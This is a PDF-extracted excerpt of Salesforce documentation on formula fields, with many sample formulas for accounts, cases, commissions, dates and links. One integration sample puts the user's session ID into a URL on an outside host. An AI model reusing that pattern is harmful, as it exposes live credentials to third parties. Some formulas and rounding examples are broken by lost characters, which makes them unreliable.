A formula is an algorithm that derives its value from other fields, expressions, or values. Formulas can help you automatically calculate the value of a field based on other fields. Use formulas for: Custom Fields Create custom formula fields that automatically calculate a value based on other values, merge fields, or expressions. Users can view formula fields on record detail pages but cannot see the underlying algorithm nor can they edit the value of a formula field. To create a custom formula field, see Building Formulas on page 1168. Default Field Values Apply a value to a custom field when a user creates a record. Use formulas to define a default value such as TODAY() + 7. See About Default Field Values on page 1179. Data Validations Verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation rule can include a formula such as CloseDate >= TODAY(). See About Validation Rules on page 1183. Reports Create custom summary formulas in your reports to calculate additional totals based on the existing summaries in that report. To begin creating a custom summary formula, see Building Custom Summary Formulas on page 3131. Workflow Field Updates Define field updates to automatically calculate the new value of a field based on a formula. The formula can include other values, merge fields, or expressions. Then set your workflow rules or approval processes to use these field updates. To define field updates, see Defining Field Updates on page 1888. Workflow Rules Define the criteria a record must meet to trigger a workflow rule. See Creating Workflow Rules on page 1869. Approval Processes Define the criteria a record must meet to enter the approval process. See Creating Approval Processes on page 1929. Approval Steps Define the criteria a record must meet to enter the approval step. See Creating Approval Steps on page 1936. Escalation Rules Define the conditions that a case must match to be escalated. See Setting Up Escalation Rules on page 1344. Assignment Rules Define the conditions that the lead or case must match for it to be assigned. See Setting Up Assignment Rules on page 1341. S-Controls

1136

Customize

About Formulas

Define the content for s-controls. See Defining Custom S-Controls on page 2231. Custom Buttons and Links Define the content for custom links and buttons. See Defining Custom Buttons and Links on page 1283. Visualforce Pages Define the content for Visualforce pages. See Defining Visualforce Pages on page 2210. Before building a formula, review the following attributes of a formula: Formula Data Types Elements of a Formula

For common uses of formulas, see Formulas: How Do I... on page 1140. Note: Custom formula fields are not available in Connect Offline, Web-to-Lead forms, or Web-to-Case forms.

See Also:
Using Formulas in Salesforce

Formula Data Types


The data type of a formula determines the type of data you expect returned from your formula. Review the following data types. Data Type Currency Description Returns a number in currency format of up to 18 digits with a currency sign. Note: Salesforce uses the round half even tie-breaking rule for currency fields. For example, 23.5 becomes 24, 22.5 becomes 22, 22.5 becomes 22, and 23.5 becomes 24. Date Returns data that represents a day on the calendar. The current date can be acquired by calling the built-in function TODAY() in a formula. This data type is not available for custom summary formulas in reports. Returns data that represents a moment in time. A date/time field includes the date and also the time of day including hour, minutes, and seconds. You can insert the current date and time in a formula using the NOW() function. This data type is not available for custom summary formulas in reports.

Date/time

1137

Customize

About Formulas

Data Type Number

Description Returns a positive or negative integer or decimal of up to 18 digits. Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34. Returns a number in percent format of up to 18 digits followed by a percent sign. Percent data is stored as a decimal divided by 100, which means that 90% is equal to 0.90. Returns a string of up to 3900 characters. To display text in addition to the formula output, insert that text in quotes. Use the text data type for text, text area, URL, phone, email, address, and auto-number fields. This data type is not available for custom summary formulas in reports.

Percent

Text

See Also:
Building Formulas About Formulas

Elements of a Formula
A formula can contain references to the values of fields, operators, functions, literal values, or other formulas. Use any or all of the elements in the following table to build a formula. For more details about building formulas, see Building Formulas on page 1168. Element Name Literal Value Description A text string or number you enter that is not calculated or changed. For example, if you have a value thats always multiplied by 2% of an amount, your formula would contain the literal value of 2% of that amount:
ROUND((Amount*0.02), 2)

This example contains every possible part of a formula: A function called ROUND used to return a number rounded to a specified number of decimal places. A field reference called Amount. An operator, *, that tells the formula builder to multiply the contents of the Amount field by the literal value, 0.02. A literal number, 0.02. Use the decimal value for all percents. To include actual text in your formula, enclose it in quotes.

1138

Customize

About Formulas

Element Name

Description The last number 2 in this formula is the input required for the ROUND function that determines the number of decimal places to return.

Field Reference

Reference the value of another custom or standard field using a merge field. The syntax for a merge field is field_name for a standard field or field_name__c for a custom field. The syntax for a merge field on a related object is object_name__r.field_name. Use the Insert Field button or the drop-down list to insert a merge field in your formula where necessary. A system-defined formula that can require input from you and returns a value or values. For example, TODAY() does not require input but returns the current date. The TEXT(value) function requires your percent, number, or currency input and returns text. A symbol that specifies the type of calculation to perform or the order in which to do it. For example, the + symbol specifies two values should be added. The open and close parentheses specify which expressions you want evaluated first. An annotation within a formula that begins with a forward slash followed by an asterisk (/*). and concludes with an asterisk followed by a forward slash (*/). For example,
/*This is a formula comment*/

Function

Operator

Comment

Comments are ignored when processing a formula. Comments are useful for explaining specific parts of a formula to anyone viewing the formula definition. For example:
AND( /*competitor field is required, check to see if field is empty */ LEN(Competitor__c) = 0, /* rule only enforced for ABCD record types */ $RecordType.Name = "ABCD Value", /* checking for any closed status, allows for additional closed picklist values in the future */ CONTAINS(TEXT(StageName), "Closed") )

You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate errors in the formula.

1139

Customize

About Formulas

Element Name

Description Note: Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:
/* /* comment */ */

Commenting out a whole formula causes a syntax error. Comments count against the character and byte size limits in formulas.

See Also:
Building Formulas Building Custom Summary Formulas Quick Reference Guide: Formula Fields

Formulas: How Do I...


Available in: All Editions Some How Do I's are not relevant to Database.com

User Permissions Needed To view formula field details: To create, change, or delete formula fields: View Setup and Configuration Customize Application

Common Math Calculations Add numbers? Convert text into a number? Divide numbers? Multiply numbers? Round numbers? Subtract numbers?

1140

Customize

About Formulas

Common Text Functions Check if a field contains specified text? Check if a picklist field contains a specified value? Combine first and last names? Convert numbers into text? Create a hyperlink field?

Advanced Formulas Calculate Commission Amounts for Opportunities? Calculate a Contacts Age? Set Up Round-Robin Assignment of Cases or Leads? Set Up Opportunity Discount Rounded?

Custom Summary Formulas for Reports Calculate the sum of all leads that have Email Opt Out and Do Not Call fields selected? Calculate the difference of all Amount fields and all Discounted Amount fields on opportunities? Calculate the average age of all opportunities? Calculate what percent of all opportunities are closed won? Calculate the number of active Salesforce users to the 2nd power for administration? Calculate the duration of all activities (minutes) times the number of records per 24 hours? Calculate the average percent margin on a product-by-product level across many opportunities? Calculate the percentage of one product compared to all products in closed opportunities? Calculate the change in revenue from opportunities between months?

Cross-Object Formulas Display the Created By field from a parent object? Display a Percent field from a parent object? Display a text field from a parent object? Display a phone number field from a parent object? Display a picklist field from a parent object? Display a URL field from a parent object?

1141

Customize

About Formulas

Examples of Advanced Formula Fields


Available in: All Editions

User Permissions Needed To view formula field details: To create, change, or delete formula fields: View Setup and Configuration Customize Application

Use the following formula samples when creating custom formula fields. For samples of other types of formulas, see Examples of Validation Rules on page 1189 and Useful Default Field Value Formulas on page 1180. This document contains the following categories of custom formula samples: Account Management Account Media Service Links Case Management Commission Calculations Contact Management Data Categorization Date Calculations Discounting Employee Services Expense Tracking Financial Calculations Image Links Integration Links Lead Management Metrics Opportunity Management Pricing Project Management Scoring Calculations

See Also:
About Formulas Operators and Functions Formulas: How Do I... Tips on Building Formulas Quick Reference Guide: Formula Fields

1142

Customize

About Formulas

Account Management
Account Rating This formula evaluates Annual Revenue, Billing Country, and Type, and assigns a value of Hot, Warm, or Cold.
IF (AND (AnnualRevenue > 10000000, CONTAINS (CASE (BillingCountry, "United States", "US", "America", "US", "USA", "US", "NA"), "US")), IF(ISPICKVAL(Type, "Manufacturing Partner"), "Hot", IF(OR (ISPICKVAL (Type, "Channel Partner/Reseller"), ISPICKVAL(Type, "Installation Partner")), "Warm", "Cold")), "Cold")

For details about using these functions, see IF on page 1251, AND on page 1239, CONTAINS on page 1243, CASE on page 1241, and ISPICKVAL on page 1258. In addition, you can reference this Account Rating formula field from the contact object using cross-object formulas.
Account.Account_Rating__c

Account Region This formula returns a text value of North, South, East, West, or Central based on the Billing State/Province of the account.
IF(ISBLANK(BillingState), "None", IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West", IF(CONTAINS("CO:ID:MT:KS:OK:TX:WY", BillingState), "Central", IF(CONTAINS("CT:ME:MA:NH:NY:PA:RI:VT", BillingState), "East", IF(CONTAINS("AL:AR:DC:DE:FL:GA:KY:LA:MD:MS:NC:NJ:SC:TN:VA:WV", BillingState), "South", IF(CONTAINS("IL:IN:IA:MI:MN:MO:NE:ND:OH:SD:WI", BillingState), "North", "Other"))))))

For details about using these functions, see IF on page 1251, LEN on page 1260, and CONTAINS on page 1243. Contract Aging This formula calculates the number of days since a contract with an account was activated. If the contract Status is not Activated, this field is blank.
IF(ISPICKVAL(Contract_Status__c, "Activated"), NOW() - Contract_Activated_Date__c, null)

For details about using these functions, see IF on page 1251, ISPICKVAL on page 1258, and NOW on page 1265. Contract Approval Process Aging This formula calculates how many days in the sample are left.
TODAY()-Sample_date_c

For details about using this function, see TODAY on page 1274.

1143

Customize

About Formulas

Month of Last Account Activity This formula field displays the month of the last activity or None if there are no activities.
CASE(MONTH(LastActivityDate), 1, "January", 2, "February", 3, "March", 4, "April", 5, "May", 6, "June", 7, "July", 8, "August", 9, "September", 10, "October", 11, "November", 12, "December", "None")

For details about using these functions, see CASE on page 1241 and MONTH on page 1265. Month of Service-Level Agreement Expiration This formula returns the month that your service-level agreement expires. This example uses a custom date field called SLA Expiration Date.
MONTH(SLAExpirationDate__c)

For details about using this function, see MONTH on page 1265.

Account Media Service Links


BBC News Search This formula creates a link to a BBC news search site based on the Account Name.
HYPERLINK( "http://newssearch.bbc.co.uk/cgi-bin/search/results.pl?scope=newsifs;tab=news;q="&Name, "BBC News")

Bloomberg News Search This formula creates a link to an account's ticker symbol on the Bloomberg website.
HYPERLINK( "http://www.bloomberg.com/apps/quote?ticker="&TickerSymbol, "Bloomberg News")

CNN News Search This formula creates a link to a CNN news search site using the Account Name.
HYPERLINK( "http://websearch.cnn.com/search/search?source=cnn& invocationType=search%2Ftop&sites=web&query="&Name, "CNN News")

1144

Customize

About Formulas

MarketWatch Search This formula creates a link to an account's ticker symbol on the Marketwatch.com website.
HYPERLINK( "http://www.marketwatch.com/tools/quotes/quotes.asp?symb="&TickerSymbol, "Marketwatch")

Google Search This formula creates a link to a Google search site using the Account Name.
HYPERLINK( "http://www.google.com/search?en&q="&Name, "Google")

Google News Search This formula creates a link to a Google news search site using the Account Name.
HYPERLINK( "http://www.google.com/news?en&q="&Name, "Google News")

Yahoo! Search This formula creates a link to a Yahoo! search site using the Account Name.
HYPERLINK( "http://search.yahoo.com/search?p="&Name, "Yahoo Search")

Yahoo! News Search This formula creates a link to a Yahoo! news search site using the Account Name.
HYPERLINK( "http://news.search.yahoo.com/search/news?p="&Name, "Yahoo News")

For details about using the function used in these formulas, see HYPERLINK on page 1250.

Case Management
Autodial This formula creates a linkable phone number field that automatically dials the phone number when clicked. In this example, replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field, Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number to call and the last Phone merge field uses the value of the Phone field as the linkable text the user clicks to dial.
HYPERLINK("http://servername/call?id=" & Id & "&phone=" & Phone, Phone)

For details about using this function, see HYPERLINK on page 1250.

1145

Customize

About Formulas

Case Aging (Assignments) Use this example of a custom formula field called Days Open to display different text depending on the number of days a case has been open:
CASE(Days_Open__c, 3, "Reassign", 2, "Assign Task", "Maintain")

The following text is displayed: Reassign for any case open three days. Assign Task for any case open two days. Maintain for all other cases.

For details about using this function, see CASE on page 1241. Case Aging (Open Cases) This formula calculates the number of days a case has been open. If the case is closed, it sets the result to null. Add this formula to a related list as the sort column to quickly see which open cases have been open the longest. The formula returns zero if the case has been open for less than 24 hours.
IF(IsClosed, null, NOW() - CreatedDate )

For details about using these functions, see IF on page 1251 and NOW on page 1265. Case Aging (Open and Closed Cases) This formula calculates the number of days a closed case was open or the number of days an open case has been open since the date the case was created. The formula returns zero if the case has been open for less than 24 hours.
IF(IsClosed, ROUND(ClosedDate - CreatedDate, 0), ROUND((NOW() - CreatedDate),0))

For details about using these functions, see IF on page 1251, ROUND on page 1271, and NOW on page 1265. Case Categorization This formula displays a text value of RED, YELLOW, or GREEN, depending on the value of a case age custom text field.
IF(DaysOpen__c > 20, "RED", IF(DaysOpen__c > 10, "YELLOW", "GREEN") )

For details about using this function, see IF on page 1251. Case Data Completeness Tracking This formula calculates the percentage of specific custom fields that contain data. The formula checks the values of two custom number fields: Problem Num and Severity Num. If the fields are empty, the formula returns the value 0. The formula

1146

Customize

About Formulas

returns a value of 1 for each field that contains a value and multiplies this total by fifty to give you the percentage of fields that contain data.
(IF(ISBLANK(Problem_Num__c), 0, 1) + IF(ISBLANK(Severity_Num__c ), 0,1)) * 50

For details about using these functions, see IF on page 1251 and ISBLANK on page 1255. Case Due Date Calculation This formula sets the due date of a case based on the priority. If it is high, the due date is two days after it opens. If it is medium, the due date is five days after opening. Otherwise, the due date is seven days.
CASE (Priority, "High", CreatedDate + 2, "Medium",CreatedDate + 5, CreatedDate + 7)

For details about using this function, see CASE on page 1241. Suggested Agent Prompts This formula prompts an agent with cross-sell offers based on past purchases.
CASE(Product_Purch__c, "Printer", "Extra toner cartridges", "Camera", "Memory cards", "Special of the day")

For details about using this function, see CASE on page 1241. Suggested Offers This formula suggests a product based on the support history for a computer reseller. When the Problem custom field matches a field, the formula field returns a suggestion.
CASE(Problem__c, "Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with tape backup", "")

For details about using this function, see CASE on page 1241.

Commission Calculations
Commission Amounts for Opportunities The following is a simple formula where commission is based on a flat 2% of the opportunity Amount.
IF(ISPICKVAL(StageName, "Closed Won"), ROUND(Amount *0.02, 2), 0)

This example calculates the commission amount for any opportunity that has a Closed Won stage. The value of this field will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value. For details about using these functions, see IF on page 1251, ISPICKVAL on page 1258, and ROUND on page 1271.

1147

Customize

About Formulas

Commission Deal Size This formula calculates a commission rate based on deal size, returning a 9% commission rate for deals over 100,000 and an 8% commission rate for smaller deals.
IF(Amount > 100000, 0.09, 0.08 )

For details about using this function, see IF on page 1251. Commission Greater Than or Equal To This formula assigns the YES value with a commission greater than or equal to one million. Note, this is a text formula field that uses a custom currency field called Commission.
IF(Commission__c >= 1000000, "YES", "NO")

For details about using this function, see IF on page 1251. Commission Maximum This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom percent fields on users and assets.
MAX($User.Commission_Percent__c * Price, Price * Account_Discount__c, 100)

For details about using this function, see MAX on page 1263.

Contact Management
Contact's Account Creation Date This date formula displays the account's Created Date field on the contacts page.
Account.CreatedDate

Contact's Account Discount Percent This percent formula displays the account's Discount Percent field on the contacts page.
Account.Discount_Percent__c

Contact's Account Name This formula displays the standard Account Name field on the contacts page.
Account.Name

Contact's Account Phone This formula displays the standard Account Phone field on the contacts page.
Account.Phone

1148

Customize

About Formulas

Contact's Account Rating Use this formula to display the Account Rating field on the contacts page.
CASE(Account.Rating, "Hot", "Hot", "Warm", "Warm", "Cold", "Cold", "Not Rated")

For details about using this function, see CASE on page 1241. Contact's Account Website This formula displays the standard Account Website field on the contacts page.
Account.Website

If the account website URL is long, use the HYPERLINK function to display a label such as Click Here instead of the URL. For example:
IF(Account.Website="", "", IF( OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"), HYPERLINK( Account.Website , "Click Here" ), HYPERLINK( "http://" & Account.Website , "Click Here" ) ) )

This formula also adds the necessary "http://" or "https://" before a URL if neither were included in the URL field. For details about using this function, see HYPERLINK on page 1250. Contacts Age Use this formula to calculate a persons age based on a standard field called Birthdate. The persons Birthdate is subtracted from todays date, which returns the number of days since the persons Birthdate. This number is divided by the number of days in a year and rounded down to the nearest integer.
FLOOR((TODAY()-Birthdate)/365.2425)

For details about using these functions, see FLOOR on page 1247 and TODAY on page 1274. Contact's Birthday This formula displays the value Yes if the contacts birthday falls in the current calendar month.
IF ( MONTH( Birthdate) = MONTH( TODAY()), "Yes", "")

For details about using these functions, see IF on page 1251, MONTH on page 1265, and TODAY on page 1274. Contact's LinkedIn Profile You can configure a link that appears on your contacts' profile page that sends you to their LinkedIn profile. To do so: 1. Click SetupCustomizeContactsButtons and Links. 2. Click New under Custom Buttons and Links. 3. Enter a Label for this link, like LinkedInLink.

1149

Customize

About Formulas

4. Enter this formula in the content box:


http://www.linkedin.com/search/fpsearch?type=people&keywords ={!Contact.FirstName}+{!Contact.LastName}

5. Click Save. Remember to add this link to the Contact page layout in order for it to show up. Contact Identification Numbering This formula displays the first five characters ofta name and the last four characters of a social security number separated by a dash. Note that this example uses a text custom field called SSN.
TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))

For details about using these functions, see TRIM on page 1275, LEFT on page 1260, and RIGHT on page 1270. Contact Preferred Phone This formula displays the contacts preferred contact method in a contact related listwork phone, home phone, or mobile phonebased on a selected option in a Preferred Phone custom picklist.
CASE(Preferred_Phone__c, "Work", "w. " & Phone, "Home", "h. " & HomePhone, "Mobile", "m. " & MobilePhone, "No Preferred Phone")

For details about using this function, see CASE on page 1241. Contact Priority This formula assesses the importance of a contact based on the account rating and the contact's title. If the account rating is Hot or the title starts with Executive, then the priority is high (P1). If the account rating is Warm or the title starts with VP then the priority is medium (P2), and if the account rating is Cold then the priority is low (P3).
IF(OR(ISPICKVAL(Account.Rating, "Hot"), CONTAINS(Title, "Executive")), "P1", IF(OR(ISPICKVAL(Account.Rating, "Warm"), CONTAINS(Title, "VP")), "P2", IF(ISPICKVAL(Account.Rating, "Cold"), "P3", "P3") ) )

Contact Yahoo! ID This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo Name on contacts where you can store the contact's Yahoo! Messenger ID.
HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))

1150

Customize

About Formulas

For details about using these functions, see HYPERLINK on page 1250 and IMAGE on page 1253. Dynamic Address Formatting This formula field displays a formatted mailing address for a contact in standard format, including spaces and line breaks where appropriate depending on the country.
CASE(ShippingCountry, "USA", ShippingStreet & BR() & ShippingCity & ", " & ShippingState & " " & ShippingPostalCode & BR() & ShippingCountry, "France", ShippingStreet & BR() & ShippingPostalCode & " " & ShippingCity & BR() & ShippingCountry, "etc")

For details about using this function, see CASE on page 1241 and BR on page 1240. Telephone Country Code This formula determines the telephone country code of a contact based on the Mailing Country of the mailing address.
CASE(MailingCountry, "USA", "1", "Canada", "1", "France", "33", "UK", "44", "Australia", "61", "Japan", "81", "?")

For details about using this function, see CASE on page 1241. Unformatted Phone Number This formula removes the parentheses and dash characters from North American phone numbers. This is necessary for some auto-dialer software.
IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)

For details about using these functions, see IF on page 1251 and MID on page 1264.

Data Categorization
Deal Size Large and Small This formula displays Large Deal for deals over one million dollars or Small Deal for deals under one million dollars.
IF(Sales_Price__c > 1000000, "Large Deal", "Small Deal")

For details about using this function, see IF on page 1251.

1151

Customize

About Formulas

Deal Size Small This formula displays Small if the price and quantity are less than one. This field is blank if the asset has a price or quantity greater than one.
IF(AND(Price<1,Quantity<1),"Small", null)

For details about using these functions, see IF on page 1251 and AND on page 1239. Product Categorization This formula checks the content of a custom text field named Product_Type and returns Parts for any product with the word part in it. Otherwise, it returns Service. Note that the values are case sensitive, so if a Product_Type field contains the text Part or PART, this formula returns Services.
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")

For details about using these functions, see IF on page 1251 and CONTAINS on page 1243.

Date Calculations
Birthday in Current Year Accounting for Leap Years This formula returns the date of a person's birthday in the current year, even if the person's birthday is on February 29th in a leap year.
IF(AND(MONTH(Birthdate) = 2, DAY(Birthdate) = 29), (IF(OR(MOD(YEAR(DATEVALUE(NOW())), 400) = 0, AND(MOD(YEAR(DATEVALUE(NOW())) ,4) = 0, MOD(YEAR(DATEVALUE(NOW())), 100) <> 0)), DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate), DAY(Birthdate)), DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate + 1), 28))), (DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate) , DAY(Birthdate))))

Day of Week (number) This formula calculates todays day of the week as a number (0 = Sunday, 1 = Monday, 2 = Tuesday, and so on).
MOD(TODAY() - DATE(1900, 1, 7), 7)

Similarly, this formula substitutes the TODAY() function shown in the previous example with a custom date field called Sign Up Date. It returns the day of the week as a number for that field.
MOD(Sign_Up_Date__c - DATE(1900, 1, 7), 7)

For details about using these functions, see MOD on page 1264, TODAY on page 1274, and DATE on page 1244. Day of Week (text) This formula calculates todays day of the week and displays it as text. To determine the day of the week for a date field, use the formula below and replace TODAY() with that date field.
CASE( MOD(TODAY() - DATE(1900, 1, 7), 7), 0, "Sunday",

1152

Customize

About Formulas

1, 2, 3, 4, 5, 6,

"Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Error")

For details about using these functions, see CASE on page 1241, MOD on page 1264, TODAY on page 1274, and DATE on page 1244. Day of Year This formula calculates todays numeric day of the year (a number between 1 and 365).
TODAY() DATE(YEAR(TODAY()), 1, 1) + 1

For details about using these functions, see TODAY on page 1274, DATE on page 1244, and YEAR on page 1279. Days Until End of Month This formula displays the number of days between a specific date and the end of the month in which the date occurs.
IF( MONTH(CloseDate)=12, DATE(YEAR(CloseDate),12,31) - CloseDate, DATE(YEAR(CloseDate), MONTH(CloseDate)+1,1) - CloseDate-1)

For details about using these functions, see IF on page 1251, MONTH on page 1265, DATE on page 1244, and YEAR on page 1279. Time of Day This formula returns the time of day in Greenwich Mean Time (GMT), for example: 08:04 PM).
MID (TEXT (Due_Date_Time__c), 12, 5)

For details about using these functions, see MID on page 1264 and TEXT on page 1273.

Discounting
Maintenance and Services Discount This formula field uses two custom currency fields: Maintenance Amount and Services Amount. It displays Discounted on an opportunity if its maintenance amount and services amount do not equal the opportunity Amount standard field value. Otherwise, it displays "Full Price."
IF(Maintenance_Amount__c + Services_Amount__c <> Amount, "Discounted", "Full Price")

For details about using this function, see IF on page 1251.

1153

Customize

About Formulas

Opportunity Discount Amount This formula calculates the difference of the product Amount less the Discount Amount. Note that Discount Amount is a custom currency field.
Amount - Discount_Amount__c

For details about using this operator, see - (Subtract) on page 1235. Opportunity Discount Rounded Use this formula to calculate the discounted amount of an opportunity rounded off to two digits. This example is a number formula field on opportunities that uses a custom percent field called Discount Percent.
ROUND(Amount-Amount* Discount_Percent__c,2)

For details about using this function, see ROUND on page 1271. Opportunity Discount with Approval This formula adds a Discount Approved checkbox to an opportunity. It uses conditional logic to check the value of the approval flag before calculating the commission.
IF(Discount_Approved__c, ROUND(Amount Amount * DiscountPercent__c, 2), Amount)

For details about using these functions, see IF on page 1251 and ROUND on page 1271.

Employee Services
Bonus Calculation This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus percent or an equally divided amount of the company's performance amount among all employees. It assumes you have custom number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the employee's Gross and company's Performance.
MIN(Gross__c * Bonus_Percent__c, Performance__c / Number_of_Employees__c)

For details about using this function, see MIN on page 1264. Employee 401K This example formula determines which amount to provide in employee 401K matching based on a matching program of half of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution.
MIN(250, Contribution__c /2)

For details about using this function, see MIN on page 1264.

1154

Customize

About Formulas

Hours Worked Per Week This formula uses a custom tab to enable time tracking of hours worked per day. It uses a formula field to sum the hours per week.
MonHours__c + TuesHours__c + WedsHours__c + ThursHours__c + FriHours__c

For details about using this operator, see + (Add) on page 1234. Total Pay Amount This formula determines total pay by calculating regular hours multiplied by a regular pay rate, plus overtime hours multiplied by an overtime pay rate.
Total Pay = IF(Total_Hours__c <= 40, Total_Hours__c * Hourly_Rate__c, 40 * Hourly_Rate__c + (Total_Hours__c - 40) * Overtime_Rate__c)

For details about using this function, see IF on page 1251.

Expense Tracking
Expense Identifier This formula displays the text Expense- followed by trip name and the expense number. This is a text formula field that uses an expense number custom field.
"Expense-" & Trip_Name__c & "-" & ExpenseNum__c

For details about using this operator, see - (Subtract) on page 1235. Mileage Calculation This formula calculates mileage expenses for visiting a customer site at 35 cents a mile.
Miles_Driven__c * 0.35

For details about using this operator, see * (Multiply) on page 1235.

Financial Calculations
Compound Interest This formula calculates the interest, you will have after T years, compounded M times per year.
Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )

For details about using these operators, see * (Multiply) on page 1235, / (Divide) on page 1235, and ^ (Exponentiation) on page 1236.

1155

Customize

About Formulas

Compound Interest Continuous This formula calculates the interest that will have accumulated after T years, if continuously compounded.
Principal__c * EXP(Rate__c * T)

For details about using this function, see EXP on page 1246. Consultant Cost This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field.
Consulting_Days__c * 1200

For details about using this operator, see * (Multiply) on page 1235. Gross Margin This formula provides a simple calculation of gross margin. In this formula example, Total Sales and Cost of Goods Sold are custom currency fields.
Total_Sales__c - Cost_of_Goods_Sold__c

For details about using this operator, see - (Subtract) on page 1235. Gross Margin Percent This formula calculates the gross margin based on a margin percent.
Margin_percent__c * Items_Sold__c * Price_item__c

For details about using this operator, see * (Multiply) on page 1235. Payment Due Indicator This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due Date is a custom date field.
(BLANKVALUE(Payment_Due_Date__c, StartDate +5)

For details about using this function, see BLANKVALUE on page 1240. Payment Status This formula determines if the payment due date is past and the payment status is UNPAID. If so, it returns the text PAYMENT OVERDUE and if not, it leaves the field blank. This example uses a custom date field called Payment Due Date and a text custom field called Payment Status on contracts.
IF( AND(Payment_Due_Date__c < TODAY(), ISPICKVAL(Payment_Status__c, "UNPAID")), "PAYMENT OVERDUE", null )

1156

Customize

About Formulas

For details about using these functions, see IF on page 1251, AND on page 1239, TODAY on page 1274, and ISPICKVAL on page 1258.

Image Links
Yahoo! Instant Messenger Image This formula displays an image that indicates whether a contact or user is currently logged in to Yahoo! Instant Messenger. Clicking the image launches the Yahoo! Instant Messenger window. This formula uses a custom text field called Yahoo Name to store the contact or users Yahoo! ID.
IF(ISBLANK(Yahoo_Name__c),"", HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m=g&t=0", " ")))

For details about using these functions, see IF on page 1251, LEN on page 1260, HYPERLINK on page 1250, and IMAGE on page 1253. Skype Me Auto Dialer Button This formula displays an image that looks like a push button. Clicking the button automatically dials the specified phone number.
HYPERLINK("callto://" & "+1" & Phone, IMAGE("http://goodies.skype.com/graphics/skypeme_btn_small_blue.gif", "Click to Skype"))

For details about using these functions, see HYPERLINK on page 1250 and IMAGE on page 1253. Flags for Case Priority This formula displays a green, yellow, or red flag image to indicate case priority.
IMAGE( CASE( Priority, "Low", "/img/samples/flag_green.gif", "Medium", "/img/samples/flag_yellow.gif", "High", "/img/samples/flag_red.gif", "/s.gif"), "Priority Flag")

For details about using this function, see IMAGE on page 1253. Color Squares for Case Age This formula displays a 30 x 30 pixel image of a red, yellow, or green, depending on the value of a Case Age custom text field.
IF( Case_Age__c > 20, IMAGE("/img/samples/color_red.gif", "red", 30, 30), IF( Case_Age__c > 10, IMAGE("/img/samples/color_yellow.gif", "yellow", 30, 30), IMAGE("/img/samples/color_green.gif", "green", 30, 30), ))

For details about using these functions, see IF on page 1251 and IMAGE on page 1253.

1157

Customize

About Formulas

Traffic Lights for Status This formula displays a green, yellow, or red traffic light images to indicate status, using a custom picklist field called Project Status. Use this formula in list views and reports to create a Status Summary dashboard view.
IMAGE( CASE(Project_Status__c, "Green", "/img/samples/light_green.gif", "Yellow", "/img/samples/light_yellow.gif", "Red", "/img/samples/light_red.gif", "/s.gif"), "status color")

For details about using these functions, see IMAGE on page 1253 and CASE on page 1241. Stars for Ratings This formula displays a set of one to five stars to indicate a rating or score.
IMAGE( CASE(Rating__c, "1", "/img/samples/stars_100.gif", "2", "/img/samples/stars_200.gif", "3", "/img/samples/stars_300.gif", "4", "/img/samples/stars_400.gif", "5", "/img/samples/stars_500.gif", "/img/samples/stars_000.gif"), "rating")

For details about using these functions, see IMAGE on page 1253 and CASE on page 1241. Consumer ReportsStyle Colored Circles for Ratings This formula displays a colored circle to indicate a rating on a scale of one to five, where solid red is one, half red is two, black outline is three, half black is four, and solid black is five.
IMAGE( CASE(Rating__c, "1", "/img/samples/rating1.gif", "2", "/img/samples/rating2.gif", "3", "/img/samples/rating3.gif", "4", "/img/samples/rating4.gif", "5", "/img/samples/rating5.gif", "/s.gif"), "rating")

For details about using these functions, see IMAGE on page 1253 and CASE on page 1241. Horizontal Bars to Indicate Scoring This formula displays a horizontal color bar (green on a white background) of a length that is proportional to a numeric score. In this example, the maximum length of the bar is 200 pixels.
IMAGE("/img/samples/color_green.gif", "green", 15, Industry_Score__c * 2) & IMAGE("/s.gif", "white", 15, 200 - (Industry_Score__c * 2))

For details about using this function, see IMAGE on page 1253.

1158

Customize

About Formulas

Integration Links
Application API Link This formula creates a link to an application outside Salesforce, passing the parameters so that it can connect to Salesforce via the SOAP API and create the necessary event.
HYPERLINK ("https://www.myintegration.com?sId=" & GETSESSIONID() & "?&rowID=" & Name & "action=CreateTask","Create a Meeting Request")

For details about using these functions, see HYPERLINK on page 1250 and GETSESSIONID on page 1249. Shipment Tracking Integration This formula creates a link to FedEx, UPS, or DHL shipment tracking websites, depending on the value of a Shipping Method custom picklist field. Note that the parameters shown in this example for FedEx, UPS, and DHL websites are illustrative and do not represent the correct parameters for all situations.
